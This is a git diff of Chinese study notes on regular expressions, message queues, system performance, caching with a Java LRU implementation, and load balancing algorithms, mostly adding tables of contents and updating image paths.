把文本的第二个和第三个字符转换为大写。
**文本**
**文本**
abcd
**查找**
**查找**
```
(\w)(\w{2})(\w)
```
**替换**
**替换**
```
$1\U$2\E$3
```
**结果**
**结果**
aBCd
# 九、前后查找
# 九、前后查找
前后查找规定了匹配的内容首尾应该匹配的内容,但是又不包含首尾匹配的内容。向前查找用 **?=** 来定义,它规定了尾部匹配的内容,这个匹配的内容在 ?= 之后定义。所谓向前查找,就是规定了一个匹配的内容,然后以这个内容为尾部向前面查找需要匹配的内容。向后匹配用 ?<= 定义(注: javaScript 不支持向后匹配, java 对其支持也不完善)。
前后查找规定了匹配的内容首尾应该匹配的内容,但是又不包含首尾匹配的内容。向前查找用 **?=** 来定义,它规定了尾部匹配的内容,这个匹配的内容在 ?= 之后定义。所谓向前查找,就是规定了一个匹配的内容,然后以这个内容为尾部向前面查找需要匹配的内容。向后匹配用 ?<= 定义(注: javaScript 不支持向后匹配, java 对其支持也不完善)。
**应用**
**应用**
查找出邮件地址 @ 字符前面的部分。
查找出邮件地址 @ 字符前面的部分。
**正则表达式**
**正则表达式**
```
\w+(?=@)
```
**结果**
**结果**
**abc**@qq.com
**abc** @qq.com
对向前和向后查找取非,只要把 = 替换成 ! 即可,比如 (?=) 替换成 (?!) 。取非操作使得匹配那些首尾不符合要求的内容。
对向前和向后查找取非,只要把 = 替换成 ! 即可,比如 (?=) 替换成 (?!) 。取非操作使得匹配那些首尾不符合要求的内容。
# 十、嵌入条件
# 十、嵌入条件
## 回溯引用条件
## 回溯引用条件
条件判断为某个子表达式是否匹配,如果匹配则需要继续匹配条件表达式后面的内容。
**正则表达式**
**正则表达式**
子表达式 (\\() 匹配一个左括号,其后的 ? 表示匹配 0 个或者 1 个。 ?(1) 为条件当子表达式 1 匹配时条件成立需要执行 \) 匹配,也就是匹配右括号。
子表达式 (\\() 匹配一个左括号,其后的 ? 表示匹配 0 个或者 1 个。 ?(1) 为条件,当子表达式 1 匹配时条件成立,需要执行 \) 匹配,也就是匹配右括号。
```
(\()?abc(?(1)\))
```
**结果**
**结果**
1. **(abc)**
2. **abc**
3. (abc
1. **(abc)**
2. **abc**
3. (abc
## 前后查找条件
## 前后查找条件
条件为定义的首尾是否匹配,如果匹配,则继续执行后面的匹配。注意,首尾不包含在匹配的内容中。
**正则表达式**
**正则表达式**
 ?(?=-) 为前向查找条件,只有在以 - 为前向查找的结尾能匹配 \d{5} ,才继续匹配 -\d{4} 
?(?=-) 为前向查找条件,只有在以 - 为前向查找的结尾能匹配 \d{5} ,才继续匹配 -\d{4}
```
\d{5}(?(?=-)-\d{4})
```
**结果**
**结果**
1. **11111**
2. 22222-
3. **33333-4444**
1. **11111**
2. 22222-
3. **33333-4444**
# 参考资料
# 参考资料
- BenForta. 正则表达式必知必会 [M]. 人民邮电出版社, 2007.
- BenForta. 正则表达式必知必会 [M]. 人民邮电出版社, 2007.

View File

@ -1,27 +1,43 @@
# 一、消息模型
[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
<!-- GFM-TOC -->
* [一、消息模型](#一消息模型)
* [点对点](#点对点)
* [发布/订阅](#发布订阅)
* [二、使用场景](#二使用场景)
* [异步处理](#异步处理)
* [流量削锋](#流量削锋)
* [应用解耦](#应用解耦)
* [三、可靠性](#三可靠性)
* [发送端的可靠性](#发送端的可靠性)
* [接收端的可靠性](#接收端的可靠性)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
## 点对点
# 一、消息模型
## 点对点
消息生产者向消息队列中发送了一个消息之后,只能被一个消费者消费一次。
<img src="index_files/685a692f-8f76-4cac-baac-b68e2df9a30f.jpg" width="400px"/>
<div align="center"> <img src="pics/685a692f-8f76-4cac-baac-b68e2df9a30f.jpg" width="400px"/> </div><br>
## 发布/订阅
## 发布/订阅
消息生产者向频道发送一个消息之后,多个消费者可以从该频道订阅到这条消息并消费。
<img src="index_files/ddb5ff4c-4ada-46aa-9bf1-140bdb5e4676.jpg" width="400PX"/>
<div align="center"> <img src="pics/ddb5ff4c-4ada-46aa-9bf1-140bdb5e4676.jpg" width="400PX"/> </div><br>
发布与订阅模式和观察者模式有以下不同:
- 观察者模式中,观察者和主题都知道对方的存在;而在发布与订阅模式中,发布者与订阅者不知道对方的存在,它们之间通过频道进行通信。
- 观察者模式是同步的,当事件触发时,主题会调用观察者的方法,然后等待方法返回;而发布与订阅模式是异步的,发布者向频道发送一个消息之后,就不需要关心订阅者何时去订阅这个消息,可以立即返回。
- 观察者模式中,观察者和主题都知道对方的存在;而在发布与订阅模式中,发布者与订阅者不知道对方的存在,它们之间通过频道进行通信。
- 观察者模式是同步的,当事件触发时,主题会调用观察者的方法,然后等待方法返回;而发布与订阅模式是异步的,发布者向频道发送一个消息之后,就不需要关心订阅者何时去订阅这个消息,可以立即返回。
<img src="index_files/bee1ff1d-c80f-4b3c-b58c-7073a8896ab2.jpg" width="400PX"/>
<div align="center"> <img src="pics/bee1ff1d-c80f-4b3c-b58c-7073a8896ab2.jpg" width="400PX"/> </div><br>
# 二、使用场景
# 二、使用场景
## 异步处理
## 异步处理
发送者将消息发送给消息队列之后,不需要同步等待消息接收者处理完毕,而是立即返回进行其它操作。消息接收者从消息队列中订阅消息之后异步处理。
@ -29,42 +45,38 @@
只有在业务流程允许异步处理的情况下才能这么做,例如上面的注册流程中,如果要求用户对验证邮件进行点击之后才能完成注册的话,就不能再使用消息队列。
## 流量削锋
## 流量削锋
在高并发的场景下,如果短时间有大量的请求到达会压垮服务器。
可以将请求发送到消息队列中,服务器按照其处理能力从消息队列中订阅消息进行处理。
## 应用解耦
## 应用解耦
如果模块之间不直接进行调用,模块之间耦合度就会很低,那么修改一个模块或者新增一个模块对其它模块的影响会很小,从而实现可扩展性。
通过使用消息队列,一个模块只需要向消息队列中发送消息,其它模块可以选择性地从消息队列中订阅消息从而完成调用。
# 三、可靠性
# 三、可靠性
## 发送端的可靠性
## 发送端的可靠性
发送端完成操作后一定能将消息成功发送到消息队列中。
实现方法:
- 在本地数据库建一张消息表,将消息数据与业务数据保存在同一数据库实例里,这样就可以利用本地数据库的事务机制。事务提交成功后,将消息表中的消息转移到消息队列中,若转移消息成功则删除消息表中的数据,否则继续重传。
- 在本地数据库建一张消息表,将消息数据与业务数据保存在同一数据库实例里,这样就可以利用本地数据库的事务机制。事务提交成功后,将消息表中的消息转移到消息队列中,若转移消息成功则删除消息表中的数据,否则继续重传。
## 接收端的可靠性
## 接收端的可靠性
接收端能够从消息队列成功消费一次消息。
两种实现方法:
- 保证接收端处理消息的业务逻辑具有幂等性:只要具有幂等性,那么消费多少次消息,最后处理的结果都是一样的。
- 保证消息具有唯一编号,并使用一张日志表来记录已经消费的消息编号。
- 保证接收端处理消息的业务逻辑具有幂等性:只要具有幂等性,那么消费多少次消息,最后处理的结果都是一样的。
- 保证消息具有唯一编号,并使用一张日志表来记录已经消费的消息编号。
# 参考资料
# 参考资料
- [Observer vs Pub-Sub](http://developers-club.com/posts/270339/)
- [消息队列中点对点与发布订阅区别](https://blog.csdn.net/lizhitao/article/details/47723105)
---bottom---CyC---
![](index_files/685a692f-8f76-4cac-baac-b68e2df9a30f.jpg)
![](index_files/ddb5ff4c-4ada-46aa-9bf1-140bdb5e4676.jpg)
![](index_files/bee1ff1d-c80f-4b3c-b58c-7073a8896ab2.jpg)
- [Observer vs Pub-Sub](http://developers-club.com/posts/270339/)
- [消息队列中点对点与发布订阅区别](https://blog.csdn.net/lizhitao/article/details/47723105)

File diff suppressed because it is too large Load Diff

View File

@ -1,80 +1,91 @@
# 一、性能
[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
<!-- GFM-TOC -->
* [一、性能](#一性能)
* [二、伸缩性](#二伸缩性)
* [三、扩展性](#三扩展性)
* [四、可用性](#四可用性)
* [五、安全性](#五安全性)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
## 性能指标
### 1. 响应时间
# 一、性能
## 性能指标
### 1. 响应时间
指某个请求从发出到接收到响应消耗的时间。
在对响应时间进行测试时,通常采用重复请求方式,然后计算平均响应时间。
### 2. 吞吐量
### 2. 吞吐量
指系统在单位时间内可以处理的请求数量,通常使用每秒的请求数来衡量。
### 3. 并发用户数
### 3. 并发用户数
指系统能同时处理的并发用户请求数量。
在没有并发存在的系统中,请求被顺序执行,此时响应时间为吞吐量的倒数。例如系统支持的吞吐量为 100 req/s那么平均响应时间应该为 0.01s。
在没有并发存在的系统中,请求被顺序执行,此时响应时间为吞吐量的倒数。例如系统支持的吞吐量为 100 req/s那么平均响应时间应该为 0.01s。
目前的大型系统都支持多线程来处理并发请求,多线程能够提高吞吐量以及缩短响应时间,主要有两个原因:
- 多 CPU
- IO 等待时间
-CPU
- IO 等待时间
使用 IO 多路复用等方式系统在等待一个 IO 操作完成的这段时间内不需要被阻塞,可以去处理其它请求。通过将这个等待时间利用起来,使得 CPU 利用率大大提高。
使用 IO 多路复用等方式,系统在等待一个 IO 操作完成的这段时间内不需要被阻塞,可以去处理其它请求。通过将这个等待时间利用起来,使得 CPU 利用率大大提高。
并发用户数不是越高越好,因为如果并发用户数太高,系统来不及处理这么多的请求,会使得过多的请求需要等待,那么响应时间就会大大提高。
## 性能优化
## 性能优化
### 1. 集群
### 1. 集群
将多台服务器组成集群,使用负载均衡将请求转发到集群中,避免单一服务器的负载压力过大导致性能降低。
### 2. 缓存
### 2. 缓存
缓存能够提高性能的原因如下:
- 缓存数据通常位于内存等介质中,这种介质对于读操作特别快;
- 缓存数据可以位于靠近用户的地理位置上;
- 可以将计算结果进行缓存,从而避免重复计算。
- 缓存数据通常位于内存等介质中,这种介质对于读操作特别快;
- 缓存数据可以位于靠近用户的地理位置上;
- 可以将计算结果进行缓存,从而避免重复计算。
### 3. 异步
### 3. 异步
某些流程可以将操作转换为消息,将消息发送到消息队列之后立即返回,之后这个操作会被异步处理。
# 二、伸缩性
# 二、伸缩性
指不断向集群中添加服务器来缓解不断上升的用户并发访问压力和不断增长的数据存储需求。
## 伸缩性与性能
## 伸缩性与性能
如果系统存在性能问题,那么单个用户的请求总是很慢的;
如果系统存在伸缩性问题,那么单个用户的请求可能会很快,但是在并发数很高的情况下系统会很慢。
## 实现伸缩性
## 实现伸缩性
应用服务器只要不具有状态,那么就可以很容易地通过负载均衡器向集群中添加新的服务器。
关系型数据库的伸缩性通过 Sharding 来实现,将数据按一定的规则分布到不同的节点上,从而解决单台存储服务器的存储空间限制。
关系型数据库的伸缩性通过 Sharding 来实现,将数据按一定的规则分布到不同的节点上,从而解决单台存储服务器的存储空间限制。
对于非关系型数据库,它们天生就是为海量数据而诞生,对伸缩性的支持特别好。
# 三、扩展性
# 三、扩展性
指的是添加新功能时对现有系统的其它应用无影响,这就要求不同应用具备低耦合的特点。
实现可扩展主要有两种方式:
- 使用消息队列进行解耦,应用之间通过消息传递进行通信;
- 使用分布式服务将业务和可复用的服务分离开来,业务使用分布式服务框架调用可复用的服务。新增的产品可以通过调用可复用的服务来实现业务逻辑,对其它产品没有影响。
- 使用消息队列进行解耦,应用之间通过消息传递进行通信;
- 使用分布式服务将业务和可复用的服务分离开来,业务使用分布式服务框架调用可复用的服务。新增的产品可以通过调用可复用的服务来实现业务逻辑,对其它产品没有影响。
# 四、可用性
# 四、可用性
## 冗余
## 冗余
保证高可用的主要手段是使用冗余,当某个服务器故障时就请求其它服务器。
@ -82,18 +93,18 @@
存储服务器的冗余需要使用主从复制来实现,当主服务器故障时,需要提升从服务器为主服务器,这个过程称为切换。
## 监控
## 监控
 CPU、内存、磁盘、网络等系统负载信息进行监控当某个数据达到一定阈值时通知运维人员从而在系统发生故障之前及时发现问题。
CPU、内存、磁盘、网络等系统负载信息进行监控当某个数据达到一定阈值时通知运维人员从而在系统发生故障之前及时发现问题。
## 服务降级
## 服务降级
服务降级是系统为了应对大量的请求,主动关闭部分功能,从而保证核心功能可用。
# 五、安全性
# 五、安全性
要求系统在应对各种攻击手段时能够有可靠的应对措施。
# 参考资料
# 参考资料
- 大型网站技术架构:核心原理与案例分析
- 大型网站技术架构:核心原理与案例分析

View File

@ -1,208 +1,221 @@
# 一、缓存特征
[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
<!-- GFM-TOC -->
* [一、缓存特征](#一缓存特征)
* [二、LRU](#二lru)
* [三、缓存位置](#三缓存位置)
* [四、CDN](#四cdn)
* [五、缓存问题](#五缓存问题)
* [六、数据分布](#六数据分布)
* [七、一致性哈希](#七一致性哈希)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
## 命中率
# 一、缓存特征
## 命中率
当某个请求能够通过访问缓存而得到响应时,称为缓存命中。
缓存命中率越高,缓存的利用率也就越高。
## 最大空间
## 最大空间
缓存通常位于内存中,内存的空间通常比磁盘空间小的多,因此缓存的最大空间不可能非常大。
当缓存存放的数据量超过最大空间时,就需要淘汰部分数据来存放新到达的数据。
## 淘汰策略
## 淘汰策略
- FIFOFirst In First Out先进先出策略在实时性的场景下需要经常访问最新的数据那么就可以使用 FIFO使得最先进入的数据最晚的数据被淘汰。
- FIFOFirst In First Out先进先出策略在实时性的场景下需要经常访问最新的数据那么就可以使用 FIFO使得最先进入的数据最晚的数据被淘汰。
- LRULeast Recently Used最近最久未使用策略优先淘汰最久未使用的数据也就是上次被访问时间距离现在最久的数据。该策略可以保证内存中的数据都是热点数据也就是经常被访问的数据从而保证缓存命中率。
- LRULeast Recently Used最近最久未使用策略优先淘汰最久未使用的数据也就是上次被访问时间距离现在最久的数据。该策略可以保证内存中的数据都是热点数据也就是经常被访问的数据从而保证缓存命中率。
# 二、LRU
# 二、LRU
以下是基于 双向链表 + HashMap  LRU 算法实现,对算法的解释如下:
以下是基于 双向链表 + HashMap 的 LRU 算法实现,对算法的解释如下:
- 访问某个节点时,将其从原来的位置删除,并重新插入到链表头部。这样就能保证链表尾部存储的就是最近最久未使用的节点,当节点数量大于缓存最大空间时就淘汰链表尾部的节点。
- 为了使删除操作时间复杂度为 O(1)就不能采用遍历的方式找到某个节点。HashMap 存储着 Key 到节点的映射通过 Key 就能以 O(1) 的时间得到节点然后再以 O(1) 的时间将其从双向队列中删除。
- 访问某个节点时,将其从原来的位置删除,并重新插入到链表头部。这样就能保证链表尾部存储的就是最近最久未使用的节点,当节点数量大于缓存最大空间时就淘汰链表尾部的节点。
- 为了使删除操作时间复杂度为 O(1)就不能采用遍历的方式找到某个节点。HashMap 存储着 Key 到节点的映射,通过 Key 就能以 O(1) 的时间得到节点,然后再以 O(1) 的时间将其从双向队列中删除。
```java
public class LRU<K, V> implements Iterable<K> {
public class LRU<K, V> implements Iterable<K> {
    private Node head;
    private Node tail;
    private HashMap<K, Node> map;
    private int maxSize;
private Node head;
private Node tail;
private HashMap<K, Node> map;
private int maxSize;
    private class Node {
private class Node {
        Node pre;
        Node next;
        K k;
        V v;
Node pre;
Node next;
K k;
V v;
        public Node(K k, V v) {
            this.k = k;
            this.v = v;
        }
    }
public Node(K k, V v) {
this.k = k;
this.v = v;
}
}
    public LRU(int maxSize) {
public LRU(int maxSize) {
        this.maxSize = maxSize;
        this.map = new HashMap<>(maxSize * 4 / 3);
this.maxSize = maxSize;
this.map = new HashMap<>(maxSize * 4 / 3);
        head = new Node(null, null);
        tail = new Node(null, null);
head = new Node(null, null);
tail = new Node(null, null);
        head.next = tail;
        tail.pre = head;
    }
head.next = tail;
tail.pre = head;
}
    public V get(K key) {
public V get(K key) {
        if (!map.containsKey(key)) {
            return null;
        }
if (!map.containsKey(key)) {
return null;
}
        Node node = map.get(key);
        unlink(node);
        appendHead(node);
Node node = map.get(key);
unlink(node);
appendHead(node);
        return node.v;
    }
return node.v;
}
    public void put(K key, V value) {
public void put(K key, V value) {
        if (map.containsKey(key)) {
            Node node = map.get(key);
            unlink(node);
        }
if (map.containsKey(key)) {
Node node = map.get(key);
unlink(node);
}
        Node node = new Node(key, value);
        map.put(key, node);
        appendHead(node);
Node node = new Node(key, value);
map.put(key, node);
appendHead(node);
        if (map.size() > maxSize) {
            Node toRemove = removeTail();
            map.remove(toRemove.k);
        }
    }
if (map.size() > maxSize) {
Node toRemove = removeTail();
map.remove(toRemove.k);
}
}
    private void unlink(Node node) {
private void unlink(Node node) {
        Node pre = node.pre;
        Node next = node.next;
Node pre = node.pre;
Node next = node.next;
        pre.next = next;
        next.pre = pre;
pre.next = next;
next.pre = pre;
        node.pre = null;
        node.next = null;
    }
node.pre = null;
node.next = null;
}
    private void appendHead(Node node) {
        Node next = head.next;
        node.next = next;
        next.pre = node;
        node.pre = head;
        head.next = node;
    }
private void appendHead(Node node) {
Node next = head.next;
node.next = next;
next.pre = node;
node.pre = head;
head.next = node;
}
    private Node removeTail() {
private Node removeTail() {
        Node node = tail.pre;
Node node = tail.pre;
        Node pre = node.pre;
        tail.pre = pre;
        pre.next = tail;
Node pre = node.pre;
tail.pre = pre;
pre.next = tail;
        node.pre = null;
        node.next = null;
node.pre = null;
node.next = null;
        return node;
    }
return node;
}
    @Override
    public Iterator<K> iterator() {
@Override
public Iterator<K> iterator() {
        return new Iterator<K>() {
            private Node cur = head.next;
return new Iterator<K>() {
private Node cur = head.next;
            @Override
            public boolean hasNext() {
                return cur != tail;
            }
@Override
public boolean hasNext() {
return cur != tail;
}
            @Override
            public K next() {
                Node node = cur;
                cur = cur.next;
                return node.k;
            }
        };
    }
@Override
public K next() {
Node node = cur;
cur = cur.next;
return node.k;
}
};
}
}
```
# 三、缓存位置
# 三、缓存位置
## 浏览器
## 浏览器
 HTTP 响应允许进行缓存时浏览器会将 HTML、CSS、JavaScript、图片等静态资源进行缓存。
HTTP 响应允许进行缓存时,浏览器会将 HTML、CSS、JavaScript、图片等静态资源进行缓存。
## ISP
## ISP
网络服务提供商ISP是网络访问的第一跳通过将数据缓存在 ISP 中能够大大提高用户的访问速度。
网络服务提供商ISP是网络访问的第一跳通过将数据缓存在 ISP 中能够大大提高用户的访问速度。
## 反向代理
## 反向代理
反向代理位于服务器之前,请求与响应都需要经过反向代理。通过将数据缓存在反向代理,在用户请求反向代理时就可以直接使用缓存进行响应。
## 本地缓存
## 本地缓存
使用 Guava Cache 将数据缓存在服务器本地内存中,服务器代码可以直接读取本地内存中的缓存,速度非常快。
使用 Guava Cache 将数据缓存在服务器本地内存中,服务器代码可以直接读取本地内存中的缓存,速度非常快。
## 分布式缓存
## 分布式缓存
使用 Redis、Memcache 等分布式缓存将数据缓存在分布式缓存系统中。
使用 Redis、Memcache 等分布式缓存将数据缓存在分布式缓存系统中。
相对于本地缓存来说,分布式缓存单独部署,可以根据需求分配硬件资源。不仅如此,服务器集群都可以访问分布式缓存,而本地缓存需要在服务器集群之间进行同步,实现难度和性能开销上都非常大。
## 数据库缓存
## 数据库缓存
MySQL 等数据库管理系统具有自己的查询缓存机制来提高查询效率。
MySQL 等数据库管理系统具有自己的查询缓存机制来提高查询效率。
# 四、CDN
# 四、CDN
内容分发网络Content distribution networkCDN是一种互连的网络系统它利用更靠近用户的服务器从而更快更可靠地将 HTML、CSS、JavaScript、音乐、图片、视频等静态资源分发给用户。
内容分发网络Content distribution networkCDN是一种互连的网络系统它利用更靠近用户的服务器从而更快更可靠地将 HTML、CSS、JavaScript、音乐、图片、视频等静态资源分发给用户。
CDN 主要有以下优点:
CDN 主要有以下优点:
- 更快地将数据分发给用户;
- 通过部署多台服务器,从而提高系统整体的带宽性能;
- 多台服务器可以看成是一种冗余机制,从而具有高可用性。
- 更快地将数据分发给用户;
- 通过部署多台服务器,从而提高系统整体的带宽性能;
- 多台服务器可以看成是一种冗余机制,从而具有高可用性。
![](index_files/15313ed8-a520-4799-a300-2b6b36be314f.jpg)
<div align="center"> <img src="pics/15313ed8-a520-4799-a300-2b6b36be314f.jpg"/> </div><br>
# 五、缓存问题
# 五、缓存问题
## 缓存穿透
## 缓存穿透
指的是对某个一定不存在的数据进行请求,该请求将会穿透缓存到达数据库。
解决方案:
- 对这些不存在的数据缓存一个空数据;
- 对这类请求进行过滤。
- 对这些不存在的数据缓存一个空数据;
- 对这类请求进行过滤。
## 缓存雪崩
## 缓存雪崩
指的是由于数据没有被加载到缓存中,或者缓存数据在同一时间大面积失效(过期),又或者缓存服务器宕机,导致大量的请求都到达数据库。
@ -210,53 +223,53 @@ CDN 主要有以下优点
解决方案:
- 为了防止缓存在同一时间大面积过期导致的缓存雪崩,可以通过观察用户行为,合理设置缓存过期时间来实现;
- 为了防止缓存服务器宕机出现的缓存雪崩,可以使用分布式缓存,分布式缓存中每一个节点只缓存部分的数据,当某个节点宕机时可以保证其它节点的缓存仍然可用。
- 也可以进行缓存预热,避免在系统刚启动不久由于还未将大量数据进行缓存而导致缓存雪崩。
- 为了防止缓存在同一时间大面积过期导致的缓存雪崩,可以通过观察用户行为,合理设置缓存过期时间来实现;
- 为了防止缓存服务器宕机出现的缓存雪崩,可以使用分布式缓存,分布式缓存中每一个节点只缓存部分的数据,当某个节点宕机时可以保证其它节点的缓存仍然可用。
- 也可以进行缓存预热,避免在系统刚启动不久由于还未将大量数据进行缓存而导致缓存雪崩。
## 缓存一致性
## 缓存一致性
缓存一致性要求数据更新的同时缓存数据也能够实时更新。
解决方案:
- 在数据更新的同时立即去更新缓存;
- 在读缓存之前先判断缓存是否是最新的,如果不是最新的先进行更新。
- 在数据更新的同时立即去更新缓存;
- 在读缓存之前先判断缓存是否是最新的,如果不是最新的先进行更新。
要保证缓存一致性需要付出很大的代价,缓存数据最好是那些对一致性要求不高的数据,允许缓存数据存在一些脏数据。
# 六、数据分布
# 六、数据分布
## 哈希分布
## 哈希分布
哈希分布就是将数据计算哈希值之后,按照哈希值分配到不同的节点上。例如有 N 个节点数据的主键为 key则将该数据分配的节点序号为hash(key)%N。
哈希分布就是将数据计算哈希值之后,按照哈希值分配到不同的节点上。例如有 N 个节点,数据的主键为 key则将该数据分配的节点序号为hash(key)%N。
传统的哈希分布算法存在一个问题:当节点数量变化时,也就是 N 值变化,那么几乎所有的数据都需要重新分布,将导致大量的数据迁移。
传统的哈希分布算法存在一个问题:当节点数量变化时,也就是 N 值变化,那么几乎所有的数据都需要重新分布,将导致大量的数据迁移。
## 顺序分布
## 顺序分布
将数据划分为多个连续的部分,按数据的 ID 或者时间分布到不同节点上。例如 User 表的 ID 范围为 1 ~ 7000使用顺序分布可以将其划分成多个子表对应的主键范围为 1 ~ 10001001 ~ 2000...6001 ~ 7000。
将数据划分为多个连续的部分,按数据的 ID 或者时间分布到不同节点上。例如 User 表的 ID 范围为 1 \~ 7000使用顺序分布可以将其划分成多个子表对应的主键范围为 1 \~ 10001001 \~ 2000...6001 \~ 7000。
顺序分布相比于哈希分布的主要优点如下:
- 能保持数据原有的顺序;
- 并且能够准确控制每台服务器存储的数据量,从而使得存储空间的利用率最大。
- 能保持数据原有的顺序;
- 并且能够准确控制每台服务器存储的数据量,从而使得存储空间的利用率最大。
# 七、一致性哈希
# 七、一致性哈希
Distributed Hash TableDHT 是一种哈希分布方式,其目的是为了克服传统哈希分布在服务器节点数量变化时大量数据迁移的问题。
Distributed Hash TableDHT 是一种哈希分布方式,其目的是为了克服传统哈希分布在服务器节点数量变化时大量数据迁移的问题。
## 基本原理
## 基本原理
将哈希空间 [0, 2<sup>n</sup>-1] 看成一个哈希环,每个服务器节点都配置到哈希环上。每个数据对象通过哈希取模得到哈希值之后,存放到哈希环中顺时针方向第一个大于等于该哈希值的节点上。
将哈希空间 [0, 2<sup>n</sup>-1] 看成一个哈希环,每个服务器节点都配置到哈希环上。每个数据对象通过哈希取模得到哈希值之后,存放到哈希环中顺时针方向第一个大于等于该哈希值的节点上。
![](index_files/68b110b9-76c6-4ee2-b541-4145e65adb3e.jpg)
<div align="center"> <img src="pics/68b110b9-76c6-4ee2-b541-4145e65adb3e.jpg"/> </div><br>
一致性哈希在增加或者删除节点时只会影响到哈希环中相邻的节点,例如下图中新增节点 X只需要将它前一个节点 C 上的数据重新进行分布即可对于节点 A、B、D 都没有影响。
一致性哈希在增加或者删除节点时只会影响到哈希环中相邻的节点,例如下图中新增节点 X只需要将它前一个节点 C 上的数据重新进行分布即可,对于节点 A、B、D 都没有影响。
![](index_files/66402828-fb2b-418f-83f6-82153491bcfe.jpg)
<div align="center"> <img src="pics/66402828-fb2b-418f-83f6-82153491bcfe.jpg"/> </div><br>
## 虚拟节点
## 虚拟节点
上面描述的一致性哈希存在数据分布不均匀的问题,节点存储的数据量有可能会存在很大的不同。
@ -264,10 +277,10 @@ Distributed Hash TableDHT 是一种哈希分布方式其目的是为
解决方式是通过增加虚拟节点,然后将虚拟节点映射到真实节点上。虚拟节点的数量比真实节点来得多,那么虚拟节点在哈希环上分布的均匀性就会比原来的真实节点好,从而使得数据分布也更加均匀。
# 参考资料
# 参考资料
- 大规模分布式存储系统
- [缓存那些事](https://tech.meituan.com/cache_about.html)
- [一致性哈希算法](https://my.oschina.net/jayhu/blog/732849)
- [内容分发网络](https://zh.wikipedia.org/wiki/%E5%85%A7%E5%AE%B9%E5%82%B3%E9%81%9E%E7%B6%B2%E8%B7%AF)
- [How Aspiration CDN helps to improve your website loading speed?](https://www.aspirationhosting.com/aspiration-cdn/)
- 大规模分布式存储系统
- [缓存那些事](https://tech.meituan.com/cache_about.html)
- [一致性哈希算法](https://my.oschina.net/jayhu/blog/732849)
- [内容分发网络](https://zh.wikipedia.org/wiki/%E5%85%A7%E5%AE%B9%E5%82%B3%E9%81%9E%E7%B6%B2%E8%B7%AF)
- [How Aspiration CDN helps to improve your website loading speed?](https://www.aspirationhosting.com/aspiration-cdn/)

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -1,4 +1,16 @@
# 一、负载均衡
[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
<!-- GFM-TOC -->
* [一、负载均衡](#一负载均衡)
* [负载均衡算法](#负载均衡算法)
* [转发实现](#转发实现)
* [二、集群下的 Session 管理](#二集群下的-session-管理)
* [Sticky Session](#sticky-session)
* [Session Replication](#session-replication)
* [Session Server](#session-server)
<!-- GFM-TOC -->
# 一、负载均衡
集群中的应用服务器(节点)通常被设计成无状态,用户可以请求任何一个节点。
@ -6,186 +18,186 @@
负载均衡器可以用来实现高可用以及伸缩性:
- 高可用:当某个节点故障时,负载均衡器会将用户请求转发到另外的节点上,从而保证所有服务持续可用;
- 伸缩性:根据系统整体负载情况,可以很容易地添加或移除节点。
- 高可用:当某个节点故障时,负载均衡器会将用户请求转发到另外的节点上,从而保证所有服务持续可用;
- 伸缩性:根据系统整体负载情况,可以很容易地添加或移除节点。
负载均衡器运行过程包含两个部分:
1. 根据负载均衡算法得到转发的节点;
2. 进行转发。
1. 根据负载均衡算法得到转发的节点;
2. 进行转发。
## 负载均衡算法
## 负载均衡算法
### 1. 轮询Round Robin
### 1. 轮询Round Robin
轮询算法把每个请求轮流发送到每个服务器上。
下图中,一共有 6 个客户端产生了 6 个请求 6 个请求按 (1, 2, 3, 4, 5, 6) 的顺序发送。(1, 3, 5) 的请求会被发送到服务器 1(2, 4, 6) 的请求会被发送到服务器 2。
下图中,一共有 6 个客户端产生了 6 个请求,这 6 个请求按 (1, 2, 3, 4, 5, 6) 的顺序发送。(1, 3, 5) 的请求会被发送到服务器 1(2, 4, 6) 的请求会被发送到服务器 2。
![](index_files/2766d04f-7dad-42e4-99d1-60682c9d5c61.jpg)
<div align="center"> <img src="pics/2766d04f-7dad-42e4-99d1-60682c9d5c61.jpg"/> </div><br>
该算法比较适合每个服务器的性能差不多的场景,如果有性能存在差异的情况下,那么性能较差的服务器可能无法承担过大的负载(下图的 Server 2
该算法比较适合每个服务器的性能差不多的场景,如果有性能存在差异的情况下,那么性能较差的服务器可能无法承担过大的负载(下图的 Server 2
![](index_files/f7ecbb8d-bb8b-4d45-a3b7-f49425d6d83d.jpg)
<div align="center"> <img src="pics/f7ecbb8d-bb8b-4d45-a3b7-f49425d6d83d.jpg"/> </div><br>
### 2. 加权轮询Weighted Round Robbin
### 2. 加权轮询Weighted Round Robbin
加权轮询是在轮询的基础上,根据服务器的性能差异,为服务器赋予一定的权值,性能高的服务器分配更高的权值。
例如下图中,服务器 1 被赋予的权值为 5服务器 2 被赋予的权值为 1那么 (1, 2, 3, 4, 5) 请求会被发送到服务器 1(6) 请求会被发送到服务器 2。
例如下图中,服务器 1 被赋予的权值为 5服务器 2 被赋予的权值为 1那么 (1, 2, 3, 4, 5) 请求会被发送到服务器 1(6) 请求会被发送到服务器 2。
![](index_files/211c60d4-75ca-4acd-8a4f-171458ed58b4.jpg)
<div align="center"> <img src="pics/211c60d4-75ca-4acd-8a4f-171458ed58b4.jpg"/> </div><br>
### 3. 最少连接least Connections
### 3. 最少连接least Connections
由于每个请求的连接时间不一样,使用轮询或者加权轮询算法的话,可能会让一台服务器当前连接数过大,而另一台服务器的连接过小,造成负载不均衡。
例如下图中,(1, 3, 5) 请求会被发送到服务器 1但是 (1, 3) 很快就断开连接,此时只有 (5) 请求连接服务器 1(2, 4, 6) 请求被发送到服务器 2只有 (2) 的连接断开,此时 (6, 4) 请求连接服务器 2。该系统继续运行时服务器 2 会承担过大的负载。
例如下图中,(1, 3, 5) 请求会被发送到服务器 1但是 (1, 3) 很快就断开连接,此时只有 (5) 请求连接服务器 1(2, 4, 6) 请求被发送到服务器 2只有 (2) 的连接断开,此时 (6, 4) 请求连接服务器 2。该系统继续运行时服务器 2 会承担过大的负载。
![](index_files/3b0d1aa8-d0e0-46c2-8fd1-736bf08a11aa.jpg)
<div align="center"> <img src="pics/3b0d1aa8-d0e0-46c2-8fd1-736bf08a11aa.jpg"/> </div><br>
最少连接算法就是将请求发送给当前最少连接数的服务器上。
例如下图中,服务器 1 当前连接数最小那么新到来的请求 6 就会被发送到服务器 1 上。
